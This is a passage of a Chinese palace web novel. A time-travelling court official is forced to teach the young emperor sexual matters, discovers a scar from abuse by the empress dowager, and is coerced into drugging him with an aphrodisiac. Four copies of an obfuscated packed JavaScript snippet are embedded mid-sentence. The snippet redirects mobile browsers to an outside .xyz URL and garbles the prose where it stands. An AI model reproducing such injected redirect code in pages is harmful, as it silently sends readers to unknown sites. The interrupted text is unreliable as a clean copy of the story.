云黛回去后,跟系统骂了袁络仪和王嬷嬷一万字小作文,骂得口干舌燥,喝了好几杯茶。 “三个月,”她一拍桌子,“三个月,我带着骆明烛推翻你!” 系统:“教会骆明烛可能比推翻袁络仪更容易实现。” 云黛不管,她现在就要去笼络骆明烛以后会娶的妃子家中势力,“贺雁山现在应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264827|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我们的人了。” 说着她觉得奇怪:“骆明烛天天待在寝殿里,谁上朝,袁络仪?” “应该是的。” “那这些大臣不都是效忠袁络仪?贺雁山没告诉袁络仪我让骆明烛偷偷见他?袁络仪要是知道,刚才就会罚我了。” 系统只是个系统,无法分析。 云黛越想越觉得奇怪,昨天贺雁山应该见了骆明烛,但他回来没说什么,骆明烛也没有说他和贺雁山说了什么。 难道什么都没有说? 谋反线真的好难走,她还是老老实实撅骆明烛吧。 第二天小福子又来请她去,这次云黛走之前去厨房抓了两个馒头,边走边吃。 小福子想告诉她,陛下已经准备了早膳,但看她一副哀怨的表情,没说。 要是他说了,云黛应该又会说:“你怎么不早点说,我都吃了。” 那还是不说吧。 骆明烛还在床上躺着,云黛过去前直接搬了椅子进去,然后就发现里头已经有椅子了。 “孤叫小福子提前准备了,小福子没有告诉云尚仪吗?” 外头守着的小福子打了个喷嚏。 云黛放下手里的椅子,与床边上的并排放好,坐上去,一笑带过:“没事,挺好。” “今日陛下可好些了?” 骆明烛点了头,说好多了,忽然低下头,责怪自己道:“是孤忘记提醒尚仪大人,尚仪大人本不用耗费力气的。” 他垂下了眼,搭在被褥上的手收紧,骨节泛白,衬得手背异常苍白。 整个人陷入自责中,像是那蜷缩的小狗,可怜兮兮的。 云黛看了好一会,问系统:“书里他也是这样动不动就觉得是自己的错?” 系统又去翻书,回来说:“是的。” 云黛也不知他是经历了什么,如果只是单纯的一本文里的人设,没必要深究。 但有些关于他的情节好像与书里有点出入。 就比如说,在他寝殿里丢失的画册,到现在没找到。 要是按书里的人设,他应该是会红着脸,把画册还给她。 云黛收回思绪,让骆明烛不要多想,这不是他的错。 少年天子轻轻嗯了一声。 云黛见他沮丧的样,不好意思说要教他男欢女爱,但袁络仪已经下了最后期限,不教,她就要去地府见阎王爷了。 “那……”云黛艰难开口:“我们继续之前的学的内容?” 少年天子点了头,直起身,非常自觉地把自己外袍脱下来,手指紧紧攥着衣衫,仰起脸,瞧向云黛,试探问:“孤这样做,对吗?” 云黛倒吸一口气。 他脸上自责的表情还未褪去,又添了几分试探,手抓着衣衫,小心翼翼望着她。 那副模样,看起来是云黛欺负了他一样。 忽略之前发生的一切和两人的对话,他这样,完全就是在勾引人对他做不好的事。 脸看着太单纯,本来就长着一张好看的脸,再配上这副表情,任谁的目光都会黏在他身上。 “系统系统,快掐我人中,我要晕过去了。” 云黛忽然觉得袁络仪说的话在某方面确实是个好办法。 “难怪原身会被扑,扑了还不反抗。” 这要是她,她也不反抗啊。 系统发出灵魂拷问:“你想扑他吗?” 云黛艰难把自己理智拉回来,刚要说不,就听骆明烛唤自己。 “黛姐姐?”声音带着几分勾人的磁性。 云黛脑海里自动播放那首歌。 “是心动啊~” 17. 第 17 章 “我觉得很不对劲。” 系统:“哪里不对劲了?” 云黛别开了眼,又忍不住再瞄骆明烛一眼,对系统说:“我觉得骆明烛在勾引我。” 系统:“……” “你的错觉。” 云黛不这么觉得,骆明烛刚才的举动表现,还有喊她黛姐姐的那一声,换谁来看都觉得是勾引。 但…… 少年天子此刻仰着脸,黑曜石般闪亮的眼一瞬不瞬地看着她,眼里完全就是纯粹的求夸赞,根本看不出一丝故意。 顶着这么一张脸,只要稍稍露出那么一丁点魅惑,就能吸引所有人的目光。 他太单纯了,根本分不清什么是勾引,只是下意识这么做,也不知道自己做了什么。 云黛一阵烦。 “我要申请换本书,我不要教骆明烛了。” 系统:“不行。” “那你自己教去。你看看你对上骆明烛这张脸,能不能忍得住。” 系统没有一丁点情绪起伏:“那是你的问题,你定力不足,被骆明烛的脸迷住了。” 云黛:“……” 真想把系统揍一顿,没有感情的机器当然不会被迷住。 她清了清嗓子,发自内心地夸了一句:“做的很对。”你都不用学,直接把衣服脱了,都有人想扑。 云黛又坏坏地想,不分男女老少……好像太邪恶了。 她要是作者,怕是比作者写的还变态。 想到袁络仪找她说的话,云黛觉得现在还是先教教他,先糊弄一阵子,等袁络仪不再看得那么紧,再给骆明烛拉拢人脉。 当牛马好几年,没想到自己还有当“军师”的时候。 “这个步骤其实也没那么重要。”她说得一本正经,心中羞耻又有点隐秘的刺激感,“接下来我要教你更进一步的。” 少年天子乖乖看她,“尚仪大人请说。” “这样,衣服可以先不穿回去。”云黛又瞄了一眼他锁骨上的红痣,刚看了一眼,抬起的白色衣袖挡住了她的视线。 一瞧,便是他手指捏住衣领,叠外袍。抬手间手腕自衣袖中伸出,稍稍一转,便能看见手腕间青紫色血管,衬得他手腕皮肤很白。太白了,有种病态的白。 云黛感觉自己应该有点看花了眼,要不然骆明烛衣服都叠好了,自己还盯着他的手看半天。 “尚仪大人在看什么?” 他第一次问时,云黛看得正出神。 骆明烛顺着她的视线看向自己手腕,多年被勒令只能待在寝殿里,鲜少接触过日光,才会这样。 他垂了眸,将袖子撩下来,遮住手腕,眼底已经有了厌色。 “云尚仪不是要教孤吗?” 说话的语气显然与之前不一样,带了几分不耐,偏偏云黛看得出神,没有察觉到,被他第二句话叫回神,连连嗯了几声。 “对,我确实要教陛下……”她懊恼地一拍脑袋,心道自己什么美人没见过,就被他给迷惑了。 云黛一想到自己接下来要说的话,就觉得是在欺负他,但他真的很好欺负,乖乖的,还不会拒绝反抗。 “这样,陛下先……”云黛回想自己之前看的,想到一个很重要的问题。视线下移,转到他被褥下大概的腹部位置,眼神怪异。 骆明烛看出来了,额间青筋一跳,仍旧那副懵懂的模样,问她:“尚仪大人在看何处?” 云黛脱口而出:“陛下每日早晨醒来时,可有不适?” 骆明烛蹙眉,知道她问的是什么。 他没有直接回答,抬起眼帘,眼睫微微一颤,看她的眸子里满是迷茫,捏着袖口,一副想说些什么,却又不好意思开口的表情。 云黛看懂了。 她现在觉得自己的脸皮已经厚到前所未有的地步,果然人不要脸皮,什么都能做得出来。 “陛下不用说,我懂了。” 少年天子似是羞涩地垂下了头。 骆明烛余光扫过身上的被褥,长睫掩盖眼底冷色。 “接下来,请陛下……”云黛卡壳了,立刻跟系统说:“快快快,给我搜罗点小h文,我忘了要怎么做了。” 系统:“能找的只有这本《渡山河》,但你知道的,都被哔了。” 云黛只能绞尽脑汁去想自己之前看过的,但怎么看,都不是能说出来的,她也怕被哔。 “你可以去找春宫图,或者直接上手。” 云黛发出正义的斥责:“这怎么行!会带坏他的!” 结果她转头就对骆明烛说:“接下来请陛下仔细听我说,我只会说一遍。”语速飞快:“请陛下将上身衣衫全脱了。” 这句话说完,她自己都不敢看骆明烛。 骆明烛直直盯她,一句话也没说。此刻他的眼被杀意充斥,几乎凝成实质,可她别开了眼,根本看不到。 殿内寂静得连呼吸声都能听见,有什么东西从骆明烛身上散发出来,在空气中凝固,锁定云黛。 他可以现在就动手杀了她,再造一张与她一样的脸,替代她成为云尚仪,这很容易做到。 骆明烛缓缓转动手腕,捏住了自己衣裳,张开了唇,说:“云尚仪确定要孤这么做?” 云黛转回头,刚要点头说是,一眼看到他双手捏着自己衣领,扯开了一角,按在锁骨下。那颗红痣在他锁骨上滑动,瞬间吸引了她的目光。 他的声音再起,语调不急不缓,暗藏危险。 “孤脱了上衣,然后呢?” 他的身子倾向云黛,距离拉近,那颗痣更清楚了。 像是被什么尖锐物体扎入锁骨里,刺出了个血洞,即使结痂,也无法恢复原本的模样。 云黛愣神看着,被他的声音蛊惑,下意识回答:“然后就结束了。” 她说完,鬼使神差地伸手去碰他锁骨的红痣,“你这儿……” 还没碰到,衣衫合上,遮挡了那红痣,将锁骨与脖颈遮得严严实实。 骆明烛身子靠了回去,声音很低:“孤身子不适,脱了衣衫会冷。” 云黛匆匆收回了手,往外看,外头艳阳高照,温度不低,但他确实发烧刚好,脱了是有可能再次着凉。 这么一打岔,云黛忘了问他锁骨上的伤哪来的。再一见骆明烛怏怏的模样,心中竟然觉得愧疚。 “那今日就到这了,陛下好好休息,我明日再来。” 她已经站起来走了好几米,还是没忍住跑回来,问骆明烛:“你锁骨上的疤,是怎么来的?” 刚跑进屏风后,一道狰狞疤痕闯入眼帘。这道疤在锁骨往下三指宽的位置,往下蔓延,被衣衫挡住,看不到末端在哪。 仅仅是她看到的,已经有小臂那么长。 云黛的视线黏在那道疤上,僵着身子没有动,脑中思绪混乱。 她在想,这道疤是怎么来的,人身上,怎么会有这么大的疤痕。 “你的——” 话刚起了个头,骆明烛就将衣衫拢好,低声说了两个字:“出去。” 云黛没有动,她甚至往前走了一步,又走了一步,走到床边的瞬间,骆明烛犀利烦躁的眸光投向她。 “今日的课不是结束了吗?云尚仪还回来做什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278633|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云黛没有理他这句话,直接上手去扯他攥住衣衫的手,问系统:“书里他也有这道疤?” 系统赶紧翻书,从头到尾从后往前仔仔细细翻了两遍,自己也不确定了:“书里没有描写过,骆明烛可能是有疤的……” 云黛手里用力,就是要扯开他的衣裳。 骆明烛捏着衣衫的手指骨泛白,被她看到时,起先想直接杀了她。 但他的动作被她撕扯自己衣襟的粗鲁手法打断,他本是将自己的衣裳捏得她一点都扯不开,却看到了她的眼神。 她的目光全都在他身上疤痕的位置,眼里只有愤怒与心疼,根本没有一点旖旎或者占便宜的心思。 他忽然有点茫然,看不懂她为何会露出这样的情绪,手里松了力道。 发觉他松了手,被她抓到机会,一下就扯开了。 胸膛暴露在空气中,那道疤完完全全被她看见。从锁骨下方,到侧腰,再长一点,就要到背后。 伤口已经彻底愈合,但疤痕永远无法褪去。 云黛呼吸一窒,难以想象,他是在什么年纪,什么样的情况下,遭受了这么严重的伤。 “你这疤,从哪来的?” 她抬头去问,猛地对上一双盈满水光的眼。 少年天子浓密的睫毛上沾着泪珠,轻轻一颤,砸了下来。他什么都没有说,只这么看着她,就能让人感觉到他心底的委屈。 云黛慌忙去给他擦眼泪,直接上手,眼泪没擦干净,弄得眼尾通红,看起来像是被她欺负哭了一样。 她急急收回手,自己没有随身带帕子的习惯,只能环顾四周,找帕子。 啥也没找着,丢下一句话就往外跑:“你等我。” 脚步声远去,随后传来女子焦急的声音。 骆明烛缓缓眨了眼,将眼泪挤出来。此刻的他与方才云黛眼里那个遭受欺负的小苦瓜完全不同,她一走,身上那股子单纯气瞬间消散,被戾气取代。 他靠在床栏上,没有理自己的衣衫,那道疤痕就这么明晃晃地显露出来。 “扮可怜,博同情,确实好用。” 脑海中浮现女子方才心疼的眼神,眉宇一蹙,曲起手指敲击床栏,发出短促的敲击声,节奏很快,昭示着他内心的不平静。 脚步声再响,骆明烛仰头看去,眼一眨,装成轻易就能叫云黛心疼的模样。 “我找小福子要来了帕子,你擦擦?” 白色手帕递到他面前,骆明烛盯着帕子看了会,忽然出声:“云尚仪出去,只是为了找个帕子来给孤擦眼泪?” 云黛嗯了一声,有点不好意思,“我方才可能手脚没个轻重,弄疼你了,你用这个擦擦。” 骆明烛没接,仰起头,对她说:“孤不想用别人的帕子。” 云黛心道你还挺难伺候,收回手,瞅他几眼,“陛下的帕子在何处,我去拿。” 骆明烛却摇头,说自己没有。 “嗯?没有吗?” 云黛看到他眼睫毛上还挂着泪,眼尾有泪痕,应该是她走后又哭了。 他怎么这么爱哭呢。 “那我——” “云尚仪也和他们一样,想看孤出丑,对吗?” 云黛一愣,没想到他会这么问,赶紧证明自己清白:“我没有,我只是——” 少年天子漆黑的眼瞳注视着她,眼里的墨色有种会让人禁不住被拉进去沉沦的魔力。 他问:“那云尚仪为何,非要扯开孤的衣衫?” 云黛:“啊这……” “我说我只是想看看你身上疤,你信吗?” 18. 第 18 章 再说了是你自己把衣服脱了才被我看见的! 云黛本来还在为自己打抱不平,突然反应过来,捕捉到他话里的“他们”。 “他们是谁?”她的语气冷下来,板着脸不说话,严肃得有些吓人。 少年天子低了头,双手揪紧衣衫,一句话也不说。 云黛有点着急,他不说,她怎么知道是谁干的? “系统,书里有人欺负骆明烛吗?” 系统:“这只是一本小h文,全篇都是——” 云黛自动屏蔽了系统,直接问骆明烛:“那你身上的疤是怎么来的?”见他有些怯懦,似乎在怕说出来,会被报复,直接保证道:“你放心,我不会告诉别人。” 少年天子这才说:“是母后……” 云黛心道果然如此,除了袁络仪,谁还敢这么对待骆明烛! “你等着,我会帮你报复回来。” 少年天子立刻拉住她的衣裳,让她不要那么做,“母后是为了孤好——” 一股无名火冲上大脑,云黛气得想指着袁络仪骂,“她为你好,她为你好就不会让我教你这种东西!” “教孤什么东西?” 骆明烛松开了手,身子微微往后靠,一副放松的姿态:“母后让云尚仪,教孤的,难道不是皇家礼仪吗?” “云尚仪不是也教孤很多有用的理念吗?” 云黛大脑宕机,怒火确实会让人失去理智,差点将那些见不得人的东西说出来。 “我……”云黛别开眼,“陛下把衣衫穿好吧,今日是臣冒失,不该对陛下做那些的。” 骆明烛蹙了眉,不喜欢她自称“臣”,敏锐察觉到她态度变得很奇怪,正要说些什么时,她已经转身。 “陛下风寒还未好全,身子得好好养,臣明日再来授课。” 她的语气忽然变得冷淡,这本来该是君与臣之间相处的最常见的状态,可她最初见他时,一直都是热情的,突然转变,骆明烛不适应。 但他没有挽留,他的人生里不该出现这样会打乱他计划的意外。 小福子进来了,站在屏风后,小心翼翼道:“陛下,尚仪大人走了。” 骆明烛倚在床栏上,探出右臂,掌心接住照射进来的日光,没什么情绪起伏。 “走便走了,你还想让孤请她回来不成?” 小福子不是这个意思,从骆明烛话里听出了一点微妙的不同,感觉像是不满云黛就这么走了。 他不敢多说,问:“陛下接下来有什么安排吗?” 里头没有声音,小福子等了一会,悄悄退了出去。 云黛是边咒骂边回去的,一问系统有关骆明烛的事,就说书里没有。 “所以你确定我穿的真的是这本书?” 系统信誓旦旦:“我手里拿到的就是这本!” 行,那就是有些剧情需要她自己探索呗。 等回了房间,喝口水缓了会,忽然愣了。少年坚实匀称的腹肌在眼前闪过,丝毫不逊色她之前看的健身男人身上的腹肌。 “哦豁,没想到他还挺有料。” 云黛猛地扎到床上,捂住自己的脸,心中骂自己,怎么能对个小孩起这种心思。 她使劲把骆明烛的腹肌从自己脑子里赶出去,跟系统盘算,“我打算待会再出宫,见见别的大臣。” “你不是打算先教骆明烛,过一段时间再见大臣吗?” “那我今天发现了骆明烛身上的疤,被气到了,所以迫不及待想报复袁络仪。”云黛恨恨出声,“新仇旧恨,一起算。” “你先告诉我,骆明烛以后的皇后是谁家的?” “丞相千金,叫苏棠。” “丞相啊,好像不太好接近。”云黛愁眉苦脸,想了想,打消了这个念头,“丞相府应该没贺府好进,而且万一丞相是袁络仪的人,我去见丞相,他告诉袁络仪,我和骆明烛就要死翘翘了。” “你说袁络仪到底什么意思呢,教自己儿子这些,还伤害自己儿子,她真是骆明烛亲妈吗?” 系统:“不知道。” 云黛翻了个身,面朝天花板,将系统之前说的几个人想了个遍,也没能想到合适的。 这个时候发现自己那时跟贺雁山说这些,确实太冲动了。幸好贺雁山是个好的,没出事。 “不行,我咽不下这口气,我要报复袁络仪!” “你要怎么报复?” 云黛直起身,露出邪恶的笑:“整人的法子多的是。” 说干就干,她借着尚仪的名头,去宫里其他地方逛了一圈,有人问起来,她就说这几日为了教陛下更快地学会,特地来寻些能用得上的东西。 然后她就摸去了尚服局,基本上尚服局的全都在给袁络仪做衣衫,她去的时候就看见了和上次规格一样的凤衣。 整人嘛,自然是不能露出马脚被人看到,她将从厨房那弄来的粉末卡在指甲缝里,就这么一扬手,配合嘴里夸赞的话,谁也看不出来她将粉末洒在了衣衫上。 这粉末是好几种东西混合而成,绝对不会有人知道怎么弄出来的。 这东西也不会引起身体不适,但恰好会与袁络仪熏的香产生反应,会引来虫蚁。到时候袁络仪大发雷霆,罚人就罚了,她也不会觉得内疚。 宫斗剧看得多了,套路都那样,可能会查指甲,这个东西她们是查不到的,无色无味,还易溶于水。 得亏之前刷到过化学课堂火爆视频,记住了。 云黛又逛了一圈,半道上被原身同事叫去喝茶,看她们吹了几个小时。 她又没事干,回去也是一个人待着,就看她们搁那吹,她们自己吹还不忘带上她,问她在骆明烛那干得怎么样。 出门在外,身份都是自己给的。 云黛一挥手,使劲夸骆明烛,明里暗里把自己也夸了一遍。 有人羡慕有人嫉妒,有人觉得她干不了多久。 从她们说话的语气看,原身和她们也是普通的同事关系,她们还要聚餐,云黛本来想拒绝的,转念一想,这几个女官的饭局肯定有好酒好菜,就没拒绝。 果然没有猜错,她们继续吹各自都有什么绩效,她就闷头吃。 中途聊着聊着,忽然被问:“云尚仪似乎与之前不一样了,以往我等与你交谈,你总是说一两句就走,更别谈与我等坐在一起。” 云黛心道这里幸亏没道士,不然她就要被发现夺舍了原身。 糊弄几句,说是人总会变的,一笑带过。 回去的时候天都快黑了,云黛吃得有点撑,边走边消食,晚上的皇宫没有白日那么热闹,灯一点,没人走的时候,长廊阴森森的。 云黛回头看身后灯火通明的屋子,有点想回去。 “系统,书里有没有写皇宫闹鬼。” 系统:“我是无神论者。” 系统靠不住,云黛只能自己回去,贴着墙走,边走边和系统唠嗑,从天文地理到刚才吃了什么,再骂袁络仪,系统忍不住问她:“你怕鬼?” 云黛没说话,她直直盯着前面的黑影,感觉自己可能碰到阿飘了。 她停下脚,机械地转身,掉头就跑,奔跑刮起来的风打在脸上,慌不择路,只知道往有光的地方跑。 就在她要踏上那间满是亮光屋子的台阶时,一股巨力从身后袭来,嘴被捂住,她的声音被堵了回去。 身后贴上来一道冷冽的气息,紧接着人被拉扯着进了阴暗处。 云黛只来得及看那亮光最后一眼,就被抵在墙上,面前一片漆黑,只能看到高大的轮廓。 那是一个穿黑衣的男人,几乎压在她身上,捂住她的嘴,脑袋直接被按在墙上,动弹不得。 云黛抬腿就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284692|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踢他,那人身子直接压下来,膝盖嵌入,压住她的腿,动都动不了。 “系统,我要被杀了!” 系统赶紧翻书:“书里没这剧情啊。” 云黛一动手,手腕就被那人攥紧,力气大得手腕抽痛。 她到底是得罪了谁,大晚上要被人劫持! “呜呜呜!”她挣扎着要说话,那人陡然接近她耳畔,声音响起,出口就是威胁。 “不按我说的做,就杀了你。” “呜呜!”云黛赶紧点头,好汉,只要你别杀我,做什么都行! 那人没有松开她,顿了会,才说:“把这个给皇帝吃了,最迟明晚,我要看到效果,不然,就是你死。” 一个冰凉的瓷瓶被塞到她手里,云黛心惊,瞪眼看他。 又是袁络仪派来害骆明烛的! 她点了头,为了让他放放心,点头幅度特地很大,不小心磕到他脸,身子僵硬,立刻停止点头。 眼角余光瞥他,后背发凉。 “他会不会现在动手杀了我?” 系统:“那你不就能去地府投胎了?” 云黛差点哭出来,“但我现在不想死了啊!” 那人没有松开她,甚至没有后退,稍稍偏头,看向她。漆黑的夜晚里,她的恐惧暴露,身子僵硬得连挣扎都忘了。 紧张得双眼瞪大,一眨也不眨,连呼吸都停滞。 这么怕死。 那人再次贴近,云黛身子一抖,眼泪很不争气地从眼睛里滴落,砸在他手指上。 温热的,很快就凉了。 他忽然松了手,但没有松开对她双手的桎梏,身子依旧压在她身上,一点能挣扎的空隙都不留给她。 云黛一张口就求饶:“大侠饶命,我一定会照你说的做!” 她说完,耳畔似乎响起了一声笑,讽刺味十足。 坏了,他不会是不相信她吧。虽然她确实是想骗他,等安全了就把东西一扔—— “明晚这个时候,我若没有看到药效起来,你,就会死。” 那人终于撤开,没等云黛看清他的特征,几步就不见了。 云黛靠在墙上大口喘息,一句话都说不出来。身为现代三好公民,从来没有经历过被人威胁小命,缓了好一会,脑子才恢复运转。 低头一看瓷瓶,刚想扔了,转念一想,走出这犄角旮旯地,往灯笼那跑,被吓得腿都软了。 火光一照,看清了,是个全黑的瓷瓶,打开盖子,里头是粉末,应该是要放到汤或者粥里。 “粉末是白色的,有一点淡淡的香味,有点像桃花香。系统,你知道这玩意吗?” 系统好像去翻书了,她左看看右看看周围,做贼心虚一样把盖子盖好,藏进袖子里。 系统回来了,语气很怪:“书里有这个,和你形容的一样,叫桃花散。” “听名字就不像好东西。” “对,”系统说,“这是春药,服用了会让人情难自控,要那啥那啥才能解。” 云黛呆愣,举起瓷瓶看。 “所以那个人要我给骆明烛下药?下了药准备干什么?扑倒他?” 系统:“有可能。” 云黛狠狠一跺脚,愤恨出声:“袁络仪究竟和骆明烛有什么仇什么怨,非要这么做?” “那你准备给骆明烛下吗?” 云黛:“下什么下,我现在就倒了!” 她刚揭开盖,手一抖,盖子又盖了回去,把瓷瓶放袖子里放好,左右瞧瞧,确定没人才安心。 “这个嘛,等我明天看看情况。” 那个人威胁她,明晚就要看到骆明烛被下药起效果,她要是没做,他就会来要她的命。 只有一天时间,得好好想想,到底要怎么解决。 云黛哼了一声:“大不了给骆明烛吃了呗。” 19. 第 19 章 系统:“你给他解?” “怎么可能。”云黛把瓷瓶收好,边警惕四周边回去,“最多我给他找解药。” 云黛从来没有觉得哪一刻像现在这样心虚,已经将瓷瓶换了十次地方,还是觉得不安全。 真怕突然出来了什么人把东西搜到,宫斗剧都是这样演的,一旦有人干啥事心虚,就会被逮到。 但她还是不解:“袁络仪这是在干什么,让我去教骆明烛还不够,还要下药?” 系统:“她可能嫌弃你教得太慢了。” “呵呵,那她自己来。”云黛在床上打了个滚,没好气道:“直接当面给我就行,干嘛大费周章喊个黑衣人来威胁我。” 她自问自答:“不想被人抓到把柄是吧,这样骆明烛出事,就找不到她头上。” 白日里看到的那道疤,再加上今晚被威胁,想扳倒袁络仪的心更坚定了。 系统问他:“你真要给骆明烛用?” “看情况吧,或者我教骆明烛演出中药的反应,糊弄过去。”云黛想了想,为了骆明烛,把命搞没了,不值得。 “睡觉了,剩下的明天再说。” 云黛熄了灯,往床上一躺。她做了个梦,梦见自己把桃花散下在骆明烛的粥里,骆明烛喝了后,一下把她扑倒了。 一顿不可描述后,骆明烛清醒,抓着她的手,一边哭一边问她,为什么要给他下药。 云黛刚想解释自己是逼不得已,忽然就醒了。 她躺在床上睁眼缓了好久,一阵心虚又气愤。梦什么不好,梦这个! 起身时,眼前闪过梦里骆明烛哭泣的模样,梦里的他散着发,好像身上还有她弄出来的红痕,紧紧抓着她的手,眼泪珠子直掉。 “不能想不能想。”云黛使劲摇晃脑袋,把乱七八糟的梦赶出脑海,去洗漱。 但很显然,人在心虚且做了匪夷所思的梦后,注意力很难集中。云黛几次差点把碗打翻,决定去拿两个包子吃。 磨磨蹭蹭将近大半个时辰过去,才往乾坤宫走。 路上一个劲地跟系统叭叭,系统都忍不住问她是不是太紧张了。 “我不是,我就是有点……”云黛说不出来,总觉得那个梦很不对劲,她可以梦自己给骆明烛下药,但不能梦自己和骆明烛那啥了呀。 越想越不想去骆明烛那,刚想转身回去,一眼瞧见小福子,这下想回都回不去了。 小福子一见到她,诧异道:“尚仪大人怎么来了?” 云黛跟着诧异:“我来教陛下啊。” 小福子往寝殿里瞧了眼,摸不准自己主子昨日说的那句话,“她明日不会来了”。 这不是来了嘛! 他快步走到云黛面前,示意她跟着自己去边上说话。云黛古怪瞧他几眼,跟着去了。 “昨日,你是不是对陛下说了不太好的话?” 云黛身子后撤,一副见鬼的表情,“没有啊。” 小福子奇怪道:“昨日,你走后,陛下好像心情不太好,后来说你今日不会来……” 他斟酌措辞,试探道:“你是不是与陛下吵架了?” 云黛:“?” “我没有,你别瞎说,我看起来是会和他吵架的人吗?” 小福子更觉得奇怪了,“可陛下之前并不会这样……不会像昨日那样,那么明显地不高兴。” 云黛回想昨日干的那些事,没有一件是吵架,要是她扯骆明烛衣衫让他生气的话…… “咳咳,”她有点尴尬,“我昨天,扯他衣衫了。” “尚仪大人你!”小福子瞪着云黛,话都说不出来,前些日子还说云黛是好人,带那污秽之物许是误会,现在一看,她就是对陛下有那个心思! “你怎么能扯陛下衣衫!” 云黛心虚,但又莫名有底气:“我看见他身上有疤,想问他是怎么来的。”说到这,云黛赶紧问:“你知道那疤是怎么来的吗?和太后有多大关系?” 小福子欲言又止,最终只说了一句:“那道疤,让陛下受尽了苦。” 再问,他就不愿意说了,云黛急死了,一个不知道,一个不想说。 “行,我去问陛下。”她掉头就走,小福子急急拉住她,让她不要问。 “这是陛下最不愿提起的事,你问了,会让陛下更难过的。” 云黛偏不,她就是要问,昨天就是因为这个闹得她心情不好,日后要是再看到这疤,她定要气得几晚上睡不着。 她甩开小福子,快步进寝殿,没看见人,大概还躺在床上,直接走到屏风那,刚来得及说一句她要进来了,就听到一声响,有东西摔到地上。 心一急,立刻跑进去,一眼就看到骆明烛探出半边身子,手背上一道划痕尤为明显,视线一转,地上倒着把椅子。 “尚仪大人。”见她来,他慌乱地喊了一声,缩了回去。 云黛没应,她站着,仔细瞧他。与昨日比起来,他似乎病得更重了,脸色苍白,唇无血色,探出被褥的手白得跟纸一样。 明明床边上就是窗户,太阳也能照进来,可他皮肤就是一副没有被阳光照过的病态白。 “孤只是想把椅子挪近一些……” 云黛走进来,扶起椅子,说:“陛下对小福子说,我今日不会来了?” 此话一出,少年天子反问她:“昨日黛姐姐不是生气了吗?孤以为你不会来了。” 云黛听到他喊自己黛姐姐的时候,莫名其妙想到家里养的宠物做了坏事,等你下班回来,一个劲地蹭你,摇尾巴,笑得眼睛都看不见。 骆明烛现在就是这样,他虽然没有笑,但喊了她“黛姐姐”,骆明烛很少这么喊她,每次一喊,云黛就觉得自己不该对他做不好的事。 “我什么时候生气了?” 云黛自己坐在椅子上,再一看到他低头,手指捏着被褥,看着难受极了。 莫名其妙就想到梦里他啜泣着问自己为何要给他下药,云黛不适地动了动身子,忽然不敢看他。 “我那不是生气,我只是在想,你那会受这么重的伤,应该是很疼很难受。”云黛耐下心来说:“你能告诉我,这伤是怎么来的吗?” 骆明烛只望着自己的双手,眼睛眨了一下,缓缓抬头,一瞬不瞬地看着面前的女子。想从她脸上看到虚伪,哪怕只有一丁点,都能成为他杀了她的理由。 但没有。 她的表情真挚,眼神里的心疼是真切的,真诚到让他怀疑,怎么会有人对一个没什么交情的人这么关心。 “已经过去很多年。”他偏了头,转向里侧,不看她。 云黛皱眉,没想到骆明烛这么轴,有什么不能说的,“你要是不说,我就告诉太后,说你学得太慢,还不配合我。” 背对着她的人嘴角扯出冷笑,但出口的话却含着难过,“孤果然愚笨,连云尚仪都不愿意教孤。” 云黛真的很不想从他嘴里听到说自己愚笨,说话的语气不由得强硬了几分:“我要生气了。” 她开始吓他,“只有你告诉我疤怎么来的,我才能消气。” 少年天子似乎被吓到,又或是怕她真的生气,慢吞吞转过身,飞快看了她一眼,声音很低。 “孤说了,尚仪大人真的不会生气?” 云黛点头。 他这才说出来:“孤六岁时,做错了一件事,母后将孤关在黑屋三天,孤害怕,想出来,不小心伤到的。” 事实却是,袁络仪看他不顺眼,将他关在一口缸里,将缸封死,只留一个孔,他在里面呼吸不过来,以身体破缸,碎片从胸口划到侧腰,血流了一地,袁络仪都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292089|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有亲自来看他一眼。 人心是经不起试探的,更何况他与袁络仪,没有一丁点血缘关系。 “她怎么能这样?”云黛蹭的一下站起来,腿抵着床沿,语气听起来很冲:“我要再看一下你的疤。” 